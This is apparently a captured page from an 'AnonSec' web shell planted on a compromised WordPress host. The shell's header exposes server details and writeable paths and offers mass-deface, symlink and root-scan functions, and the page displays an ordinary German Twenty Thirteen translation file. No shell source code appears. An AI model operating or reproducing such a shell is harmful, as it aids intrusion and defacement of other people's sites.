. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/wp-content/languages/themes/twentythirteen-de_DE.po
# Translation of Twenty Thirteen in German
# This file is distributed under the same license as the Twenty Thirteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2016-09-12 21:44:43+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/2.1.0-alpha\n"
"Project-Id-Version: Twenty Thirteen\n"

#. Description of the plugin/theme
msgid "The 2013 theme for WordPress takes us back to the blog, featuring a full range of post formats, each displayed beautifully in their own unique way. Design details abound, starting with a vibrant color scheme and matching header images, beautiful typography and icons, and a flexible layout that looks great on any device, big or small."
msgstr "Das 2013 Theme für WordPress bringt uns zurück zum Blog. Es wird eine Bandbreite an Beitragsformaten unterstützt. Jedes Beitragsformat wird auf einzigartige Weise angezeigt. Viele kleine Details im Design runden das Aussehen der Website ab. Verschiedene Farbvariationen und passende Kopfgrafiken, schöne Schriften und Icons. Das flexible Layout passt sich optimal an die verschiedenen Endgeräte an. Egal ob kleiner Bildschirm auf dem Smartphone oder Tablet-PC."

#. Theme Name of the plugin/theme
msgid "Twenty Thirteen"
msgstr "Twenty Thirteen"

#: taxonomy-post_format.php:23
msgid "%s Archives"
msgstr "%s Archiv"

#: tag.php:21
msgid "Tag Archives: %s"
msgstr "Schlagwort-Archive: %s"

#: search.php:18
msgid "Search Results for: %s"
msgstr "Suchergebnisse für: %s"

#: inc/custom-header.php:59
msgctxt "header image description"
msgid "Star"
msgstr "Sterne"

#: inc/custom-header.php:54
msgctxt "header image description"
msgid "Diamond"
msgstr "Diamanten"

#: inc/custom-header.php:49
msgctxt "header image description"
msgid "Circle"
msgstr "Kreise"

#: inc/back-compat.php:37 inc/back-compat.php:47 inc/back-compat.php:60
msgid "Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again."
msgstr "Twenty Thirteen benötigt mindestens WordPress Version 3.6. Du benutzt Version %s. Bitte aktualisieren und erneut versuchen."

#: image.php:58
msgid "Next <span class=\"meta-nav\">&rarr;</span>"
msgstr "Weiter <span class=\"meta-nav\">&rarr;</span>"

#: image.php:57
msgid "<span class=\"meta-nav\">&larr;</span> Previous"
msgstr "<span class=\"meta-nav\">&larr;</span> Vorherige"

#: image.php:45
msgid "Full resolution"
msgstr "Volle Auflösung"

#: image.php:44
msgid "Link to full-size image"
msgstr "Link zum Bild in voller Grösse"

#: image.php:28
msgid "<span class=\"attachment-meta\">Published on <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> in <a href=\"%3$s\" title=\"Return to %4$s\" rel=\"gallery\">%5$s</a></span>"
msgstr "<span class=\"attachment-meta\">Veröffentlicht am <time class=\"entry-date\" datetime=\"%1$s\">%2$s</time> in <a href=\"%3$s\" title=\"Zurück zu %4$s\" rel=\"gallery\">%5$s</a>.</span>"

#: header.php:44
msgid "Skip to content"
msgstr "Springe zum Inhalt"

#: header.php:43
msgid "Menu"
msgstr "Menü"

#: functions.php:372
msgid "Permalink to %s"
msgstr "Permanentlink zu %s"

#: functions.php:366
msgctxt "1: post format name. 2: date"
msgid "%1$s on %2$s"
msgstr "%1$s um %2$s"

#: functions.php:346
msgid "View all posts by %s"
msgstr "Zeige alle Artikel von %s"

#. Translators: used between list items, there is a space after the comma.
#: functions.php:331 functions.php:337
msgid ", "
msgstr ", "

#: functions.php:325
msgid "Sticky"
msgstr "Oben halten"

#: functions.php:307
msgctxt "Next post link"
msgid "%title <span class=\"meta-nav\">&rarr;</span>"
msgstr "%title <span class=\"meta-nav\">&rarr;</span>"

#: functions.php:306
msgctxt "Previous post link"
msgid "<span class=\"meta-nav\">&larr;</span> %title"
msgstr "<span class=\"meta-nav\">&larr;</span> %title"

#: functions.php:303
msgid "Post navigation"
msgstr "Beitrags-Navigation"

#: functions.php:277
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "Neuere Beiträge <span class=\"meta-nav\">&rarr;</span>"

#: functions.php:273
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&larr;</span> Ältere Beiträge"

#: functions.php:269
msgid "Posts navigation"
msgstr "Beitrags-Navigation"

#: functions.php:246
msgid "Appears on posts and pages in the sidebar."
msgstr "Erscheint bei Beiträgen und Seiten in der Seitenleiste."

#: functions.php:244
msgid "Secondary Widget Area"
msgstr "Sekundärer Widget-Bereich"

#: functions.php:236
msgid "Appears in the footer section of the site."
msgstr "Erscheint im Footer-Bereich der Website."

#: functions.php:234
msgid "Main Widget Area"
msgstr "Haupt-Widgetbereich"

#: functions.php:221
msgid "Page %s"
msgstr "Seite %s"

#. Translators: If there are characters in your language that are not supported
#. by Bitter, translate this to 'off'. Do not translate into your own language.
#: functions.php:137
msgctxt "Bitter font: on or off"
msgid "on"
msgstr "on"

#. Translators: If there are characters in your language that are not supported
#. by Source Sans Pro, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:131
msgctxt "Source Sans Pro font: on or off"
msgid "on"
msgstr "on"

#: functions.php:97
msgid "Navigation Menu"
msgstr "Individuelles Menü"

#: footer.php:19
msgid "Proudly powered by %s"
msgstr "Stolz präsentiert von %s"

#: content-none.php:27
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Es sieht so aus, als ob wir nicht das finden konnten, wonach du gesucht hast. Möglicherweise hilft eine Suche."

#: content-none.php:22
msgid "Sorry, but nothing matched your search terms. Please try again with different keywords."
msgstr "Entschuldige, aber es konnte nichts gefunden werden. Versuche es mit anderen Suchbegriffen erneut."

#: content-none.php:18
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "Bereit, um deinen ersten Beitrag zu veröffentlichen? <a href=\"%1$s\">Starte hier</a>."

#: content-none.php:12
msgid "Nothing Found"
msgstr "Es konnte nichts gefunden werden."

#: content-gallery.php:43 content-image.php:39 content-quote.php:29
#: content-video.php:39 content.php:56
msgid "View all % comments"
msgstr "Zeige alle % Kommentare"

#: content-gallery.php:43 content-image.php:39 content-quote.php:29
#: content-video.php:39 content.php:56
msgid "One comment so far"
msgstr "Bisher ein Kommentar"

#: content-gallery.php:43 content-image.php:39 content-quote.php:29
#: content-video.php:39 content.php:56
msgid "Leave a comment"
msgstr "Schreibe einen Kommentar"

#: content-aside.php:27 content-aside.php:35 content-audio.php:38
#: content-chat.php:36 content-gallery.php:46 content-image.php:42
#: content-link.php:19 content-quote.php:32 content-status.php:26
#: content-video.php:42 content.php:31 image.php:50 page.php:39
msgid "Edit"
msgstr "Bearbeiten"

#: content-aside.php:20 content-audio.php:31 content-chat.php:30
#: content-gallery.php:31 content-image.php:30 content-link.php:31
#: content-quote.php:20 content-status.php:20 content-video.php:30
#: content.php:48 image.php:76 page.php:35
msgid "Pages:"
msgstr "Seiten:"

#. translators: %s: Name of current post
#: content-aside.php:16 content-audio.php:27 content-chat.php:26
#: content-gallery.php:27 content-image.php:26 content-link.php:27
#: content-quote.php:16 content-status.php:16 content-video.php:26
#: content.php:44 functions.php:481
msgid "Continue reading %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "%s weiterlesen <span class=\"meta-nav\">&rarr;</span>"

#: comments.php:52
msgid "Comments are closed."
msgstr "Kommentare sind geschlossen."

#: comments.php:47
msgid "Newer Comments &rarr;"
msgstr "Neuere Kommentare &rarr;"

#: comments.php:46
msgid "&larr; Older Comments"
msgstr "&larr; Ältere Kommentare"

#: comments.php:45
msgid "Comment navigation"
msgstr "Kommentar-Navigation"

#: comments.php:25
msgctxt "comments title"
msgid "One thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "Ein Gedanke zu &bdquo;%2$s&ldquo;"
msgstr[1] "%1$s Gedanken zu &bdquo;%2$s&ldquo;"

#: category.php:19
msgid "Category Archives: %s"
msgstr "Archiv der Kategorie: %s"

#: author.php:31
msgid "All posts by %s"
msgstr "Alle Beiträge von %s"

#: author-bio.php:30
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "Zeige alle Beiträge von %s <span class=\"meta-nav\">&rarr;</span>"

#: author-bio.php:26
msgid "About %s"
msgstr "Über %s"

#: archive.php:35
msgid "Archives"
msgstr "Archive"

#: archive.php:33
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#: archive.php:33
msgid "Yearly Archives: %s"
msgstr "Archiv für das Jahr: %s"

#: archive.php:31
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#: archive.php:31
msgid "Monthly Archives: %s"
msgstr "Archiv für den Monat: %s"

#: archive.php:29
msgid "Daily Archives: %s"
msgstr "Archiv für den Tag: %s"

#: 404.php:22
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Es sieht so aus, als ob wir nicht das finden konnten, wonach du gesucht hast. Möglicherweise hilft eine Suche."

#: 404.php:21
msgid "This is somewhat embarrassing, isn&rsquo;t it?"
msgstr "Ups, diesen Inhalt gibt es wohl nicht."

#: 404.php:16
msgid "Not Found"
msgstr "Seite nicht gefunden"

#. #-#-#-#-#  twentythirteen.pot (Twenty Thirteen 2.0)  #-#-#-#-#
#. Author URI of the plugin/theme
#: footer.php:19
msgid "https://wordpress.org/"
msgstr "https://wordpress.org/"

#. Author of the plugin/theme
msgid "the WordPress team"
msgstr "dem WordPress-Team"

#. Theme URI of the plugin/theme
msgid "https://wordpress.org/themes/twentythirteen/"
msgstr "https://wordpress.org/themes/twentythirteen/"

Anon7 - 2022
AnonSec Team